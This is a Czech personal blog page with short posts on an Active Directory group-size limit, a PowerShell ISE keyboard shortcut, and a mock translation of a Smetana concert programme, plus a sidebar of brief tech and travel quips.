První úvaha byla, že tam bude nějaký parametr, kterým se to zvětší, to je přece normální. Zjištění je, že tam žádný parametr není. Pokud to potřebujete zvýšit nad 5000! členů, tak musíte měnit nějaký konfigurační soubor na všech vašich řadičích domény :-)

Říkám to pořád, s tím web-servisním AD powershellem, to se někdo musel zkouřit.

leden 11
Jak se pohybovat v PowerShell ISE command pane

Konečně jsem na to přišel! Na vývoj skriptů používám PowerShell ISE. Má to dvě zobrazení - script pane a command pane. Ve script pane se normálně edituje skript (bílé pozadí, zapne se to CTRL-I). Když svůj kód spustíte, dostanete příkazovou řádku (command pane, modré pozadí) s výpisem výsledků. Sem se přepnete CTRL-D.

No a v tom command pane se dá myší umísťovat kurzor a potom dělat bloky a kopírovat do schránky (clipboard). Jenže to jsem až do teď musel dělat myší. Musel jsem vždycky kliknout do prostoru a teprve potom fungovaly šipky. Když zmáčknete jenom šipku nahoru, tak vám to nahodí předchozí příkaz, místo aby to posunulo kurzor.

A teď jsem se naučil, že pohybovat kurzorem po tom command pane, se dá pomocí CTRL-UP (šipka nahoru). Stačí stisknout jednou a potom už fungují šipky normálně!

leden 03
My country od Fredericka Creama

Naši šli na Nový rok na Mou vlast do brněnské filharmonie. A takto pěkně přeložený program dostali. Osobně oceňuji zvláště volbu překladů jako je "country", "woods" nebo "fields" a inovativní překlady místních názvů. Speciálně ten do němčiny, což pěkně vyzdvihuje vlastenecký náboj díla:

Škoda jenom, že to ten kvalitní překladatel nedotáhl pořádně do konce. Přitom se dalo přeložit i jméno autora i všechno ostatní. Třeba takto:

  • Frederick Cream, My country
    • The High Castle
    • The Moldau
    • Charlotte
    • From Bohemian Woods and Fields
    • Camp
    • Hymen hill

 

1 - 14Next
>
 

 Rychlovky lepší než tvítr

 
Velikonove 9.4.2017 4:57
V Nemecku zacaly velikonocni prazdniny a proto je ve smeru do Srbska patnackilometrova fronta aut s nemeckou znackou. Evidentne vsichni jedou slavit velikonoce do turecka?
 
ČD se rozhodly že naserou všechny stávající zákazníky 2.3.2017 6:14
ČD se rozhodly že pořádně naserou všechny stávající zákazníky a zrušily inkarty z eschop profilů. Zajděte si pro heslo na přepážku!
 
GoDaddy vydal 8951 certifikátů bez správného ověření - Root.cz 12.1.2017 14:40
https://www.root.cz/clanky/godaddy-vydal-8951-certifikatu-bez-spravneho-overeni
 
start ssl už zase vydává! 1.12.2016 12:50
jupíí, StartSSL už zase vydává!
 
nejede google 22.11.2016 21:16
jak najít teď rychle jinej DNS server když nejede google? brýle se bez brýlí špatně hledají :-)
 
(More Announcements...)